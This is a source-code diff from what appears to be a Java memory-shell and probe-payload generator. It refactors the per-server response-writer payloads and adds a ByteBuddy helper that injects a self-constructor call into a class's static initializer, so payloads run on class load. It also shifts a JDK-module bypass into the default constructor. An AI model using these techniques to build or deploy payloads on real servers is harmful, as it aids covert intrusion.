index dce05716..305a387d 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java @@ -10,11 +10,6 @@ import java.lang.reflect.Method; * @since 2025/8/5 */ public class JettyWriter { - - static { - new JettyWriter(); - } - public JettyWriter() { try { Thread thread = Thread.currentThread(); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java index ef64f797..40b84b20 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java @@ -9,10 +9,6 @@ import java.lang.reflect.Method; * @since 2025/8/8 */ public class ResinWriter { - static { - new ResinWriter(); - } - public ResinWriter() { try { ClassLoader loader = Thread.currentThread().getContextClassLoader(); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java index f65120d2..aa3980c8 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TomcatWriter.java @@ -7,11 +7,6 @@ import java.util.List; import java.util.Set; public class TomcatWriter { - - static { - new TomcatWriter(); - } - public TomcatWriter() { try { Set threads = Thread.getAllStackTraces().keySet(); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java index 60763b5d..610f41ec 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/TongWebWriter.java @@ -7,11 +7,6 @@ import java.util.List; import java.util.Set; public class TongWebWriter { - - static { - new TongWebWriter(); - } - public TongWebWriter() { try { Set threads = Thread.getAllStackTraces().keySet(); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java index 0bf138a5..63ca8f68 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/UndertowWriter.java @@ -10,11 +10,6 @@ import java.lang.reflect.Method; * @since 2025/8/8 */ public class UndertowWriter { - - static { - new UndertowWriter(); - } - public UndertowWriter() { try { Thread thread = Thread.currentThread(); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java index 5d0b258f..71a3c3ba 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebLogicWriter.java @@ -9,10 +9,6 @@ import java.lang.reflect.Method; * @since 2025/8/10 */ public class WebLogicWriter { - static { - new WebLogicWriter(); - } - public WebLogicWriter() { try { Object workEntry = getFieldValue(Thread.currentThread(), "workEntry"); diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java index 79e02010..fb733df2 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java @@ -11,9 +11,6 @@ import java.lang.reflect.Method; * @since 2025/8/10 */ public class WebSphereWriter { - static { - new WebSphereWriter(); - } public WebSphereWriter() { try { diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java index f50e74f3..de78ce55 100644 --- a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/ByPassJavaModuleInterceptor.java @@ -5,7 +5,7 @@ import net.bytebuddy.dynamic.DynamicType; import java.lang.reflect.Field; -import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer; +import static net.bytebuddy.matcher.ElementMatchers.isDefaultConstructor; /** * JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法 @@ -33,24 +33,12 @@ public class ByPassJavaModuleInterceptor { * Reference1: stackoverflow * Reference2: issue *
- * 在静态代码块中执行 byPassJdkModule 代码 - * 值得注意的一点,builder 是不可变类型,所以都是需要重新赋值,例如以下代码示例 - * # code that not work - * builder = new Bytebuddy().redefine(class); - * builder.visit(something); - * builder.make(); - *
- * # code that work - *
- * builder = new Bytebuddy().redefine(class); - * builder = builder.visit(something); - * builder.make(); - * + * 在默认构造方法中执行 byPassJdkModule 代码 * @param builder bytebuddy builder * @return new builder with bypass */ public static DynamicType.Builder extend(DynamicType.Builder builder) { return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class) - .on(isTypeInitializer())); + .on(isDefaultConstructor())); } } \ No newline at end of file diff --git a/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCall.java b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCall.java new file mode 100644 index 00000000..982792bb --- /dev/null +++ b/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/StaticBlockSelfConstructorCall.java @@ -0,0 +1,46 @@ +package com.reajason.javaweb.buddy; + +import net.bytebuddy.description.method.MethodDescription; +import net.bytebuddy.dynamic.DynamicType; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.implementation.bytecode.ByteCodeAppender; +import net.bytebuddy.jar.asm.MethodVisitor; +import net.bytebuddy.jar.asm.Opcodes; + +import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer; + +/** + * 在静态代码块中添加构造方法调用例如: + * static { + * new Injector(); + * } + * + * @author ReaJason + * @since 2025/8/12 + */ +public class StaticBlockSelfConstructorCall implements ByteCodeAppender { + + public static StaticBlockSelfConstructorCall INSTANCE = new StaticBlockSelfConstructorCall(); + + public static DynamicType.Builder extend(DynamicType.Builder builder) { + return builder + .invokable(isTypeInitializer()) + .intercept(new Implementation.Simple(StaticBlockSelfConstructorCall.INSTANCE)); + } + + @Override + public Size apply(MethodVisitor methodVisitor, + Implementation.Context implementationContext, + MethodDescription instrumentedMethod) { + methodVisitor.visitTypeInsn(Opcodes.NEW, implementationContext.getInstrumentedType().getInternalName()); + methodVisitor.visitInsn(Opcodes.DUP); + methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL, + implementationContext.getInstrumentedType().getInternalName(), + "", + "()V", + false); + methodVisitor.visitInsn(Opcodes.POP); + methodVisitor.visitInsn(Opcodes.RETURN); + return new Size(2, 2); + } +}